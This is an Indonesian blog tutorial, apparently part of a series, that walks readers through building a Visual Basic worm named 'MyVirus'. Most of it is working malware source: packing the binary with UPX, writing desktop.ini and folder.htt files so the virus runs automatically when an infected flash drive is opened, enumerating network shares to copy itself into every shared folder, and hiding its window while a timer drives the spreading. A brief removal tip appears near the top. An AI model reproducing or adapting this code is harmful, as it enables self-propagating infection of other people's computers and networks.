  1. Ganti Icon MyVirus
  2. Memperkecil ukuran executable virus anda

 

Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading.

 

Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable.

 

Upx Project.exe

 

Dan ukuran file setelah di-UPX adalah 8704 bytes.

 

  1. Menghilangkan virus ini
    1. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value “MyVirus”
    2. Hapus file C:\Windows\MyVirus.exe

 

Tips tambahan :

Melakukan eksploitasi terhadap folder.htt

 

Setelah melakukan replikasi dirinya pada media flashdisk, maka program virus akan menginfeksi system baru kalau dirinya diaktifkan oleh pemakai, atau dengan kata lainnya akan senantiasa menunggu dirinya dijalankan oleh user, untuk mempercepat proses penyebarannya virus dapat memanfaatkan kelemahan pada beberapa system yang tidak di patch oleh pemakaianya.

 

Salah satu eksploit yang sering dilakukan adalah dengan memanfaatkan file desktop.ini dan folder.htt yang digunakan untuk mencustom tampilan dari suatu folder.

 

Dengan melakukan eksploitasi terhadap file ini, maka virus otomatis akan dieksekusi begitu flasdisk yang telah terinfeksi dibuka oleh user (dibrowse dengan explorer).

Membuat file desktop.ini

 

Sub buatDesktop_ini(targetDrive As String)

Dim fTarget As String

fTarget = targetDrive + “\Dekstop.ini”

Open fTarget For Output As #1

Print #1, “[.ShellClassInfo]”

Print #1, “ConfirmFileOp = 0”

Print #1, “[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]”

Print #1, “PersistMoniker=file://web\Folder.htt”

Print #1, “[ExtShellFolderViews]”

Print #1, “{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}”

Close #1

SetAttr fTarget, vbReadOnly + vbHidden

End Sub

 

Membuat file folder.htt

 

Public Sub buatFolder_htt(targetDrive As String)

Dim fTarget As String

fTarget = targetDrive + “\web\folder.htt”

Open fTarget For Output As #1

Print #1, “<html>”

Print #1, “<head>”

Print #1, “<meta http-equiv=””content-type””content=””text/html; charset=Windows-1252″”>”

Print #1, “</head>”

Print #1, “<body style=””margin: 0″” scroll=no>”

Print #1, “”

Print #1, “</body>”

Print #1, “</html>”

Print #1, “<script>”

Print #1, “runexe=”””””

Print #1, “runexe+=””<HTML><H1></H1></HTML>””;”

Print #1, “document.writeln(runexe);”

Print #1, “document.close();”

Print #1, “</script>”

Close #1

SetAttr fTarget, vbReadOnly + vbHidden

End Sub

 

Membuat sub eksploitasi_folder_htt

 

Public Sub eksploitasi_folder_htt(targetDrive As String)

Dim fSource As String

Dim fTarget As String

‘replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$(“windir”) & “\MyVirus.exe”

‘ke target drive

fTarget = targetDrive + “\web”

Call MkDir(fTarget)

SetAttr fTarget, vbHidden

fTarget = fTarget + “\My Virus.exe”

‘jangan infeksi lebih dari 1 kali

If Dir(fTarget) = “” Then

   Call FileCopy(fSource, fTarget)

   Call buatDesktop_ini(targetDrive)

   Call buatFolder_htt(targetDrive)

End If

End Sub

 

Dan aktifkan eksploitasi diatas dengan perubahan pada sub replikasiDiri

 

Public Sub replikasiDiri(targetDrive As String)

Dim fSource As String

Dim fTarget As String

‘replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$(“windir”) & “\MyVirus.exe”

‘ke target drive

fTarget = targetDrive + “\MyVirus.exe”

‘jangan infeksi lebih dari 1 kali

If Dir(fTarget) = “” Then

   Call FileCopy(fSource, fTarget)

   Call eksploitasi_folder_htt(targetDrive)

End If

End Sub

 

Melakukan replikasi ke semua folder yang dishare pada komputer yang terinfeksi

 

Untuk meningkatkan probabilitas penyebaran dirinya, tentu saja program virus harus melihat berbagai kemungkinan yang dapat meningkatkan penyebarannya, salah satunya adalah melakukan replikasi dirinya ke folder-folder yang dishare oleh komputer yang terinfeksi karena folder-folder akan dibuka dari komputer lain.

 

  1.  
    1. Tambahkan module baru ke project anda (Module2)
    2. Tambahkan deklarasi struktur data berikut pada bagian general declaration Module2 anda:

 

Option Explicit

‘untuk mengambil NETRESOURCE

Public Type NETRESOURCE

   dwScope As Long

   dwType As Long

   dwDisplayType As Long

   dwUsage As Long

   lpLocalName As Long

   lpRemoteName As Long

   lpComment As Long

   lpProvider As Long

End Type

 

  1.  
    1. Tambahkan deklarasi fungsi WIN API berikut pada bagian general declaration Module2 anda.

 

Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _

   (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _

   lpNetResource As NETRESOURCE, lphEnum As Long) As Long

 

Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _

   (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long

 

Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long

 

Public Declare Function lstrlen Lib “kernel32” Alias “lstrlenA” (ByVal pString As Long) As Long

 

Public Declare Function lstrcpy Lib “kernel32” Alias “lstrcpyA” _

   (ByVal lpString1 As String, ByVal pString As Long) As Long

  

Const RESOURCE_GLOBALNET = 2

Const RESOURCETYPE_DISK = 1

Const RESOURCEDISPLAYTYPE_DOMAIN = 0

Const RESOURCEUSAGE_CONTAINER = 1

 

  1.  
    1. Tambahkan fungsi ambilShare berikut yang berfungsi mencari  semua resource berdasarkan parameter yang diberikan pada Module2

 

Function ambilShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean

   Dim hEnum As Long, nrLen As Long, nrCount As Long

   Dim nr(2048) As NETRESOURCE, retval As Boolean

   nrCount = -1

   nrLen = 65536

   RemoteName = StrConv(RemoteName, vbFromUnicode)

   nr(0).lpRemoteName = StrPtr(RemoteName)

   Provider = StrConv(Provider, vbFromUnicode)

   nr(0).lpProvider = StrPtr(Provider)

   nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN

   nr(0).dwUsage = RESOURCEUSAGE_CONTAINER

   If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then

      If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then

         If nrCount > 0 Then

            ReDim sShares(nrCount – 1) As String

            For nrLen = 0 To (nrCount – 1)

               sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))

               Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)

            Next nrLen

            retval = True

         End If

      End If

      Call WNetCloseEnum(hEnum)

   End If

   ambilShares = retval

End Function

 

  1.  
    1. Tambakan sub sebarMySharing yang akan memanfaatkan fungsi ambilShare dengan melewatkan parameter \\127.0.0.1 (alamat loopback untuk komputer)

 

‘Mencari semua folder yang dishare pada system dan mereplikasi file virus

Public Sub sebarMySharing()

Dim shares() As String, share As Variant, target As String

If ambilShares(“\\127.0.0.1”, “Microsoft Windows Network”, shares) = True Then

   For Each share In shares

       target = share

       Call replikasiDiri(target)

   Next share

End If

End Sub

 

  1.  
    1. Modifikasi Form1 (control timer khususnya) untuk melakukan manajemen penyebaran sehingga task yang dilakukan tidak tumpang tindih, dan pemakaian resource yang bijaksana.

 

Option Explicit

Public sedangSebar As Boolean         ‘Flag proses penyebaran

Public kerjakanAktifitas As Integer

 

Private Sub Timer1_Timer()

If Not sedangSebar Then                    ‘Jangan tumpang tindih proses penyebaran

      sedangSebar = True                      ‘Flag sedang sebar

      Select Case kerjakanAktifitas

        Case 0

          Call sebarMySharing                 ‘Aktifitas ini hanya dilakukan 1 kali saja

        Case 1

          Call sebarFlashDisk

          kerjakanAktifitas = 0                ‘Selanjutnya mulai dari aktifitas 1

      End Select

      kerjakanAktifitas = (kerjakanAktifitas + 1)          ‘Aktifitas berikutnya

      sedangSebar = False                     ‘Bebaskan flag sedang sebar

   End If

End Sub

 

  1.  
    1. Dan akhirnya lakukan modifikasi pada sub main untuk pengaturan flag sedangSebar, dan kerjakanAktifitas.

 

Sub Main()

Dim namaVirus As String

namaVirus = “MyVirus”

If Not sudahAktif(namaVirus) Then

   App.TaskVisible = False

   Form1.Visible = False

   Call VirusInstall

   ‘Atur variabel global

   infectedFlashDisk = False

   ‘Atur setting time

   Form1.Caption = namaVirus

   Form1.Timer1.Interval = 5000

   Form1.kerjakanAktifitas = 0      ‘mulai dari aktifitas 0

   Form1.sedangSebar = False

   Form1.Timer1.Enabled = True

End If

End Sub

 

 

 

Tinggalkan Jawapan

Please log in using one of these methods to post your comment:

WordPress.com Logo

Anda sedang menulis komen melalui akaun WordPress.com anda. Log Out / Tukar )

Twitter picture

Anda sedang menulis komen melalui akaun Twitter anda. Log Out / Tukar )

Facebook photo

Anda sedang menulis komen melalui akaun Facebook anda. Log Out / Tukar )

Google+ photo

Anda sedang menulis komen melalui akaun Google+ anda. Log Out / Tukar )

Connecting to %s